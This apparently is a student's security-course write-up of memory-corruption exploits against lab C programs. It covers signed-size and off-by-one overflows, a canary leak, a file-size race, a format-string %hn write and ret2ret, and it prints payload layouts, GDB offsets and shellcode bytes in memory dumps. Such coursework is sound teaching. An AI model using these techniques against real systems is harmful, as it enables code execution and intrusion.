Project 1 Write-up

Question 2: Spica

Main Idea

The code is vulnerable because `fread` expects its third argument to be of an **unsigned** type `size_t`, but on line 22, `fread(msg, 1, size, file)` received a third argument `size` which is of a **signed** type `int8_t`. We use this vulnerability to bypass the `size > 128` check on line 19, allowing us to write past the end of `msg`. We insert teh shellcode at `msg` and overwrite the RIP of `display` with the address of the shell code.

Magic Numbers

We first determine the address of the local variable `msg` (*0xfffd838*) and the address of the rip of the `display` function (*0xffffd8cc*). This is done by invoking GDB and setting a breakpoint at line 18.

```
(gdb) p &msg
$1 = (char (*)[128]) 0xffffd838
```

```
(gdb) i f
Stack level 0, frame at 0xffffd8d0:
 eip = 0x8049235 in display (telemetry.c:18); saved eip = 0x80492bd
 called by frame at 0xffffd900
 source language c.
 Arglist at 0xffffd8c8, args: path=0xffffda93 "navigation"
 Locals at 0xffffd8c8, Previous frame's sp is 0xffffd8d0
 Saved registers:
  ebp at 0xffffd8c8, eip at 0xffffd8cc
```

By doing so, we learned that the location of the return address from this function was 148 bytes away from the start of the location of the `msg` local variable.

Exploit Structure

The exploit has four parts:

1. Write a negative integer to bypass the size check.
2. Insert the shell code at `msg` (57 bytes long).

3. Write 148-57=91 dummy characters to overwrite the rest of `msg`, the compiler padding, and the sfp.
4. Finally, overwrite teh rip with the address of the shell code. Since we are putting shell code at `msg`, we overwrite the rip with `0xffffd838`.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/38x &msg
0xffffd838:     0xcd58326a      0x89c38980      0x58476ac1      0xc03180cd
0xffffd848:     0x692d6850      0xe2896969      0x6d2b6850      0xe1896d6d
0xffffd858:     0x2f2f6850      0x2f686873      0x896e6962      0x515250e3
0xffffd868:     0x31e18953      0xcd0bb0d2      0xaaaaaa80      0xaaaaaaaa
0xffffd878:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xffffd888:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xffffd898:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xffffd8a8:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xffffd8b8:     0x00000099      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xffffd8c8:     0xaaaaaaaa      0xffffd838
```

After 57 bytes of shellcode and 91 bytes of garbage, the rip is overwritten with `0xffffd8cc`, which points to the shellcode at `msg` (`0xffffd838`).

Question 3

Main Idea

The code is vulnerable because the function `dehxify` consumes 4 bytes at once from buffer if the first 2 bytes are `\\` and `x` respectively. In this case, there is no null check the third or fourth byte and they are consumed *blindly*. Since the function does not stop consuming from buffer until it *sees* a null byte, the trailing null byte automatically appended by the `gets` function is skipped if our input to buffer ends with `\\x` (or `\\x` followed by any 1 byte of content). This allows us to trick the program to continue printing contents past the end of buffer and reveal to us the value of the stack canary. After that, we can perform a simple overflow attack to overwrite the value of the `rip` of `dehxify`.

Magic Numbers

We first determine the address of the local variable `c.buffer` (*0xffffd8dc*) and of the `rip` of `dehxify` (*0xffffd8fc*). This is done by invoking GDB and setting a breakpoint at line 22.

```
(gdb) p &c.buffer
$3 = (char (*)[16]) 0xffffd8dc
```

```
(gdb) i f
Stack level 0, frame at 0xffffd900:
 eip = 0x804922e in dehexify (dehexify.c:22); saved eip = 0x8049341
 called by frame at 0xffffd920
 source language c.
 Arglist at 0xffffd8f8, args:
 Locals at 0xffffd8f8, Previous frame's sp is 0xffffd900
 Saved registers:
  ebp at 0xffffd8f8, eip at 0xffffd8fc
```

By doing so, we learned that the location of the return address from this function was 32 bytes away from the start of the location of the `c.buffer` local variable.

Exploit Structure

The exploit has four parts:

1. Write 16 dummy bytes to fill up the `c.buffer` local variable.
2. Overwrite the stack canary with itself.
3. Write 4 dummy bytes to overwrite the `sfp`.

4. Overwrite the `rip` with the address of the shellcode. Since we are putting shellcode directly after the rip, we overwrite the `rip` with *0xffffd900*.
5. Finally, insert the shellcode directly after the `rip`.

Exploit GDB Output

```
(gdb) x/16x c.buffer
0xffffd8dc:     0x3134785c      0x3134785c      0x3134785c      0x3134785c
0xffffd8ec:     0x422ef21e      0x3134785c      0x3134785c      0x3134785c
0xffffd8fc:     0xffffd900      0xdb31c031      0xd231c931      0xb05b32eb
0xffffd90c:     0xcdc93105      0xebc68980      0x3101b006      0x8980cddb
```

After 16 bytes of garbage, the stack canary is unchanged and followed by another 12 bytes of garbage, then the rip is overwritten with *0xffffd900*, which points to the shellcode directly after the rip.

Question 4

Main Idea

The code is vulnerable because it incorrectly set `i<=64` (instead of `i<64`) as the condition for its for loop to continue. This off-by-one mistake allows us to write past the end of the local variable `buf` and overwrite the LSB of the `sfp` of the function `invoke`. We take advantage of this vulnerability and changes the `sfp` to point to the local variable `buf`. When a second function return happens, the program will go to `buf+4` and execute the code it points to.

Magic Numbers

We only need to determine the address of the local variable `buf` (*0xffffd840*) and of the shellcode which is used as an environment variable (*0xffffdf9c*).

```
(gdb) p buf
$1 = 0xffffd840 ""
```

```
(gdb) x/16bx environ[4]
0xffffdf98:     0x45    0x47    0x47    0x3d    0x6a    0x32    0x58    0xcd
0xffffdfa0:     0x80    0x89    0xc3    0x89    0xc1    0x6a    0x47    0x58
```

Exploit Structure

The exploit has four parts:

1. Write 4 dummy characters to the local variable `buf`.
2. Write the address of our shellcode (*0xffffdf9c*).
3. Write another 56 dummy characters to the local variable `buf`.
4. Overwrite the LSB of the `sfp` with the LSB of the address of the local variable `buf` (*0x40*).

Since the program takes our input and `XOR` each character with `0x20`. We need to `XOR` our desired input with `0x20` ourselves before sending it to the program.

Exploit GDB Output

```
(gdb) x/20x buf
0xffffd840:     0x41414141      0xffffdf9c      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0xffffd840      0x0804927a      0xffffda27      0xffffd898
```

After 4 bytes of garbage, the address of the shell code is placed, followed by another 56 bytes of garbage. Then the LSB of `sfp` is overwritten with *0x40* which makes the `sfp` points to the local variable `buf`.

Question 5

Main Idea

The code is vulnerable because it does not read from the file **immediately** after checking file size. This allows us to initially provide a small file that passes the size check and later overwrite the file with contents larger than the allowed size. By doing so, we are able to write past the end of the local variable `buf` and overwrite the `rip` of the function `read_file`.

Magic Numbers

We first need to determine the address of the local variable `buf` (*0xffffd888*) and of the `rip` (*0xffffd91c*).

```
(gdb) p &buf
$1 = (char (*)[128]) 0xffffd888
```

```
(gdb) i f
Stack level 0, frame at 0xffffd920:
 eip = 0x80492af in read_file (orbit.c:41); saved eip = 0x804939c
 called by frame at 0xffffd930
 source language c.
 Arglist at 0xffffd918, args:
 Locals at 0xffffd918, Previous frame's sp is 0xffffd920
 Saved registers:
  ebp at 0xffffd918, eip at 0xffffd91c
```

By doing so, we learned that the location of the return address from this function is 148 bytes away from the start of the location of the `buf` local variable.

Exploit Structure

The exploit has three parts:

1. Write 148 dummy characters to the local variable `buf`.
2. Overwrite the `rip` with the address of the shellcode. Since we are putting shellcode directly after the rip, we overwrite the `rip` with *0xffffd920*.
3. Finally, insert the shellcode directly after the `rip`.

Exploit GDB Output

```
(gdb) x/40x buf
0xffffd888:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd898:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8b8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd908:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd918:     0x41414141      0xffffd920      0xdb31c031      0xd231c931
```

After 148 bytes of garbage, the `rip` is overwritten with *0xffffd920*, which points to the shellcode directly after the `rip`.

Question 6

Main Idea

The code is vulnerable because it directly uses the the local variable `buf`, which is inputed by the user, as the format string argument to the `printf` function. This allows us to use the `%hn` format specifier to overwrite the `rip` of function `calibrate` with the address of the shellcode.

Magic Numbers

We first need to determine the address of the local variable `buf` (*0xffffd830*), of the `rip` of function `printf` (*0xffffd7ec*), of the `rip` of function `calibrate` (*0xffffd81c*), and of the shell code (*0xffffda60*). This is done by setting a breakpoint at line 10 and then stepping into the `printf` function at line 10 later.

```
p buf
$7 = 0xffffd830
"AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55873u%hn%9631
u%hn\n"
```

```
(gdb) i f
Stack level 0, frame at 0xffffd820:
 eip = 0x8049224 in calibrate (calibrate.c:10); saved eip = 0x804928f
 called by frame at 0xffffd8d0
 source language c.
 Arglist at 0xffffd818, args:
    buf=0xffffd830
"AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55873u%hn%9
631u%hn\n"
 Locals at 0xffffd818, Previous frame's sp is 0xffffd820
 Saved registers:
  ebp at 0xffffd818, eip at 0xffffd81c
```

```
(gdb) i f
Stack level 0, frame at 0xffffd7f0:
 eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
 called by frame at 0xffffd820
 source language c.
 Arglist at 0xffffd7e8, args:
    fmt=0xffffd830
"AAAA\034\330\377\377AAAA\036\330\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55873u%hn%9
631u%hn\n"
 Locals at 0xffffd7e8, Previous frame's sp is 0xffffd7f0
 Saved registers:
  eip at 0xffffd7ec
```

```
(gdb) x/16x argv[1]
0xffffda60:     0xcd58326a      0x89c38980      0x58476ac1      0xc03180cd
0xffffda70:     0x692d6850      0xe2896969      0x6d2b6850      0xe1896d6d
0xffffda80:     0x2f2f6850      0x2f686873      0x896e6962      0x515250e3
0xffffda90:     0x31e18953      0xcd0bb0d2      0x48530080      0x3d4c564c
```

By doing so, we learned that the format string argument of the `printf` function (located directly after the `rip` of `printf`) is 64 bytes away from the local variable `buf`. Therefore we need to use 15 (64/4 - 1) `%c` format specifiers to skip to the start of `buf`.

Exploit Structure

The exploit has nine parts:

1. 4 dummy characters to be consumed by the **first** `%u` format specifier.
2. The address of the **lower** half of the `rip` of function `calibrate` (*0xffffd81c*).
3. Another 4 dummy characters to be consumed by the **second** `%u` format specifier.
4. The address of the **upper** half of the `rip` of function `calibrate` (*0xffffd81e*).
5. 15 `%c` format specifiers to skip over bytes between the format string argument of the `printf` function (located directly after the `rip` of `printf`) and the local variable `buf`.
6. `%55873u` format specifier to consume the dummy characters in part 1. (**55873** comes from desired value **0xda30** subtracted by **36** which is the number of already printed bytes).
7. `%hn` to consume the address in part 2 and overwrite its value with the desired value **0xda30**.
8. `%9631u` format specifier to consume the dummy characters in part 1. (**9631** comes from desired value **0xffff** subtracted by **0xda30** which is the number of already printed bytes).
9. `%hn` to consume the address in part 2 and overwrite its value with the desired value **0xffff**.

Exploit GDB Output

```
(gdb) x/24x 0xffffd81c
0xffffd81c:     0xffffda60      0xffffd830      0x08048034      0x00000020
0xffffd82c:     0x00000008      0x41414141      0xffffd81c      0x41414141
0xffffd83c:     0xffffd81e      0x63256325      0x63256325      0x63256325
0xffffd84c:     0x63256325      0x63256325      0x63256325      0x63256325
0xffffd85c:     0x35256325      0x33373835      0x6e682575      0x33363925
0xffffd86c:     0x68257531      0x00000a6e      0x00000001      0x00000000
```

The `rip` of function `calibrate` (located at *0xffffd81c*) is overwrited with the address of the shell code (*0xffffda60*).

Question 7

Main Idea

The code is vulnerable because the `gets` function call does not check input length and therefore allows us to write past the end of local variable `buf` and overwrite the variable `err_ptr`. We use the `ret2ret` method to trick the program to execute the shellcode pointed by the overwritten `err_ptr` variable. Note that even though stack canary is enabled in this program, it actually outputs it automatically, allowing us to overwrite it with itself to defeat its purposes.

Magic Numbers

We first need to determine the address of the local variable `err_ptr` (*0xffeb2dd8*), of the stack canary (*0xffeb2d9c*), of the `rip` of function `secure_gets` (*0xffeb2dac*), and the address of a `ret` instruction (*printf+41*).

```
(gdb) frame 1
#1  0x565c2689 in main (argc=1, argv=0xffeb2e74) at lockdown.c:119
(gdb) p &err_ptr
$2 = (int **) 0xffeb2dd8
```

```
(gdb) x/1x buf+256
0xffeb2d9c:     0x3d180ddd
```

```
(gdb) i f
Stack level 0, frame at 0xffeb2db0:
 eip = 0x565c25ea in secure_gets (lockdown.c:106); saved eip = 0x565c2689
 called by frame at 0xffeb2e00
 source language c.
 Arglist at 0xffeb2da8, args: err_ptr=0xffeb2dd4
 Locals at 0xffeb2da8, Previous frame's sp is 0xffeb2db0
 Saved registers:
  ebx at 0xffeb2da4, ebp at 0xffeb2da8, eip at 0xffeb2dac
```

```
0xf7eb70ea <printf>     push   %ebx
0xf7eb70eb <printf+1>   call   0xf7e7f774
0xf7eb70f0 <printf+6>   add    $0x4ae98,%ebx
0xf7eb70f6 <printf+12>  sub    $0x8,%esp
0xf7eb70f9 <printf+15>  lea    0x14(%esp),%eax
0xf7eb70fd <printf+19>  push   %edx
0xf7eb70fe <printf+20>  push   %eax
0xf7eb70ff <printf+21>  push   0x18(%esp)
0xf7eb7103 <printf+25>  lea    0x238(%ebx),%eax
0xf7eb7109 <printf+31>  push   %eax
0xf7eb710a <printf+32>  call   0xf7eb936a <vfprintf>
0xf7eb710f <printf+37>  add    $0x18,%esp
0xf7eb7112 <printf+40>  pop    %ebx
```

```
0xf7eb7113 <printf+41>  ret
```

By doing so, we learned that the stack canary is 16 bytes away from the `rip` of `secure_gets`, the `err_ptr` variable is 44 bytes away from the `rip` of `secure_gets`, and the `ret` instruction is 41 bytes away from the `printf` function.

Exploit Structure

The exploit has five parts:

1. Write 184 `0x90` characters (no-op instruction). The 184 comes from subtracting the length of the shellcode (72 bytes) from the length of the `buf` variable (256 bytes).
2. Fill the rest of the `buf` variable with the shellcode.
3. Overwrite the stack canary with itself (obtained from the output of the program).
4. Write 12 dummy bytes to overwrite the compiler padding and `sfp` of the function `secure_gets`.
5. Finally, overwrite everything up to but not including the variable `err_ptr` (a total of 44 bytes, or 11 4-byte words) with the address of a `ret` instruction (obtained by adding the offset of `ret` instruction relative to `printf` to the dynamic address of `printf` obtained from the output of the program).

Exploit GDB Output

```
(gdb) x/80x buf
0xffeb2c9c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2cac:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2cbc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2ccc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2cdc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2cec:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2cfc:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2d0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2d1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2d2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2d3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffeb2d4c:     0x90909090      0x90909090      0xdb31c031      0xd231c931
0xffeb2d5c:     0xb05b32eb      0xcdc93105      0xebc68980      0x3101b006
0xffeb2d6c:     0x8980cddb      0x8303b0f3      0x0c8d01ec      0xcd01b224
0xffeb2d7c:     0x39db3180      0xb0e674c3      0xb202b304      0x8380cd01
0xffeb2d8c:     0xdfeb01c4      0xffffc9e8      0x414552ff      0x00454d44
0xffeb2d9c:     0x3d180ddd      0x41414141      0x41414141      0x41414141
0xffeb2dac:     0xf7eb7113      0xf7eb7113      0xf7eb7113      0xf7eb7113
0xffeb2dbc:     0xf7eb7113      0xf7eb7113      0xf7eb7113      0xf7eb7113
0xffeb2dcc:     0xf7eb7113      0xf7eb7113      0xf7eb7113      0xffeb2d00
```

After 184 bytes of no-op instruction (`0x90`), the shellcode fills the rest of the `buf` variable, followed by the stack canary unchanged (overwritten with itself) and 12 bytes of garbage. After that, starting from and including the `rip` of `secure_gets` up to but not including the `err_ptr` variable is overwriten with the address of the `ret` instruction (*0xf7eb7113*). Finally, the LSB of the `err_ptr` variable is overwriten with `\x00`, making it pointing to the middle of the "no-op sled" in buffer.